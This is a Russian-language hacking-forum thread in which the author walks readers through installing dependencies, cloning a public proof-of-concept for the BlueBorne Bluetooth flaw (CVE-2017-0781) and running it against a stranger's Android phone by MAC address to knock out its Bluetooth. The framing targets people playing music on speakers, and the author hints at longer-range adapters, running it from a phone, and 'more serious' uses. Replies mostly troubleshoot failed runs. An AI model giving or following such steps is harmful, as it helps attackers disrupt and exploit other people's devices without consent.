Загрузка...

Обрубаем любителей face-а на колонках или как отключить Bluetooth на чужом девайсе.

Тема в разделе Kali Linux создана пользователем cR0NuS 4 дек 2017. 47 854 просмотра

Загрузка...
  1. cR0NuS
    cR0NuS Автор темы 4 дек 2017 Заблокирован(а) 218 3 май 2016
    Доброго времени суток. Опять пишу всякие "хацкерские" темы в ночное время суток( по МСК). Ладно, не суть. Сегодня хотел бы рассказать вам об уязвимости, которая известно давно...Просто о ней на время забыли, т.к. не выкладывали exploit...И вот на днях совершилось чудо! На гитхабе выложили скрипт python-а с использованием уязвимости(CVE-2017-0781/ Blueborn).
    Суть exploit-а в том, что бы вызвать принуждённое отключение bluetooth на устройстве "жертвы". Грубо говоря, exploit бьёт по уязвимым местам прошивки android( как пишут некоторые люди, ios тоже через раз получается) и вызывает ошибку типа null-byte(переполнение буфера).

    UPD: Было лично протестировано на своём телефоне - MEIZU M5 NOTE с обновлённым Flyme OS.

    Приступим!

    >Первым делом нам нужно установить зависимости скрипта.
    Код

    apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
    Затем обновляем модули python.
    Код

    pip install --upgrade pip
    pip install --upgrade pwntools
    Для работы с bluetooth с помощью python нам понадобится модуль pybluez.
    Код

    apt-get install bluetooth libbluetooth-dev
    pip install pybluez
    >Затем приступаем к скачиванию эксплоита(корректней будет назвать скриптом).
    Код

    git clone [URL]https://github.com/ojasookert/CVE-2017-0781[/URL]
    >Дальше нам придётся попотеть...Т.к. проблема может быть следующая:
    Не работает bluetooth....Для этого используем утиллиту btmgmt.
    Запускаем её и делаем следующие шаги:
    Код

    btmgmt --index 0
    power
    auto-power
    find
    Если начнется мониторинг Bluetooth устройств - значит всё готово.
    >Используем скрипт. Для этого нам нужен MAC-адресс bluetooth устройства(используем команду btmgmt --index 0 и find).
    Как только нашли "жертву", вводим команду.
    Код

    python CVE-2017-0781.py TARGET=*mac-адресс с заглавными буквами.*
    И ждём. Мониторить устройство можете с других или же через консоль.

    #мояСТАТЬЯ!!!!!
     
  2. cR0NuS
    cR0NuS Автор темы 4 дек 2017 Заблокирован(а) 218 3 май 2016
    Так же подробно о использовании скрипта описано в README,md <3
     
  3. Ernesst_inactive198775
    Ernesst_inactive198775 4 дек 2017 Заблокирован(а) 92 28 окт 2017
    а не легче просто включить блютузи начать конектится к пацану с колонкой (к его телефону а не к колонке) у него блютус должен збится
     
  4. cR0NuS
    cR0NuS Автор темы 4 дек 2017 Заблокирован(а) 218 3 май 2016
    Ernesst_inactive198775, Ну вообще тема кликбейт. Использовать данную уязвимость можно и в более серьёзных делах...И вообще, где ты такое видел, что подключаясь к телефону человека, он автоматически дисконнектится от других девайсов? Я лично такое нигде не наблюдал, даже на старых телефонах с Java-ой.
     
  5. cR0NuS
    cR0NuS Автор темы 4 дек 2017 Заблокирован(а) 218 3 май 2016
    Не обязательно стоять вблизи к нему. Можно использовать специальные адаптеры. К тому же если поработать головой, можно и утиллиту залить на телефон(дам подсказку - Termux).
     
  6. retr0_inactive63222
    retr0_inactive63222 8 дек 2017 Пчел... 174 4 дек 2016
    Проверил на двух устройствах, команда не работает
     
  7. _KICKER_
    _KICKER_ 8 дек 2017 пук 546 15 сен 2016
    я их с локтя обычно вырубаю
     
  8. cR0NuS
    cR0NuS Автор темы 9 дек 2017 Заблокирован(а) 218 3 май 2016
    retr0_inactive63222, от права администратора пиши.

    # sudo *команда*
     
  9. retr0_inactive63222
    retr0_inactive63222 9 дек 2017 Пчел... 174 4 дек 2016
    cR0NuS, как-то вот так получается, найти бы где ошибка
     
  10. cR0NuS
    cR0NuS Автор темы 18 дек 2017 Заблокирован(а) 218 3 май 2016
  11. retr0_inactive63222
    retr0_inactive63222 19 дек 2017 Пчел... 174 4 дек 2016
    Нет, но и в командной строке iOS с JB та же ошибка. Тем более ты сам советовал Termux
     
  12. cR0NuS
    cR0NuS Автор темы 19 дек 2017 Заблокирован(а) 218 3 май 2016
    retr0_inactive63222, Я написал, что надо поработать головой, а не тупо как даун-скрипкидди копировать-вставить в Termux....
     
  13. Alab_inactive178380
    Alab_inactive178380 19 дек 2017 Заблокирован(а) 9 16 сен 2017
    :kek::kek::kek:
     
  14. code_bit
    code_bit 21 дек 2017 можно ненадо? 10 16 фев 2017
    Не работает на :
    btmgmt --index 0
    power
    auto-power
    find
    после power пишет specify "on" or "off"
    потом пишу find и выдаёт это
    Unable to start discovery. status 0x11 (Invalid Index)
    Подскажи чё делать?
     
  15. NothingSpecial
    NothingSpecial 21 дек 2017 Error 218 11 мар 2017
    А если по Termux, код такой же?
     
  16. cR0NuS
    cR0NuS Автор темы 21 дек 2017 Заблокирован(а) 218 3 май 2016
    NothingSpecial, Там уже самим надо думать, какие команды вписывать. Потом как нить в тему добавлю.
     
  17. cR0NuS
    cR0NuS Автор темы 21 дек 2017 Заблокирован(а) 218 3 май 2016
    code_bit, Сейчас точно не смогу ответить, в ближайшие сутки распишу. Попробуй пока через другое устройство на базе android чекать, вроде mac-адреса показывает...Правда не у всех наверное.
     
  18. jvscrpt
    jvscrpt 21 дек 2017 Уважать вас это себя неуважать 141 5 дек 2017
    Авторскую ему
     
  19. ban9it_inactive241226
    ban9it_inactive241226 31 дек 2017 Заблокирован(а) 33 22 дек 2017
    Круто.
     
  20. code_bit
    code_bit 31 дек 2017 можно ненадо? 10 16 фев 2017
    Ну что проблему решил?
     
Top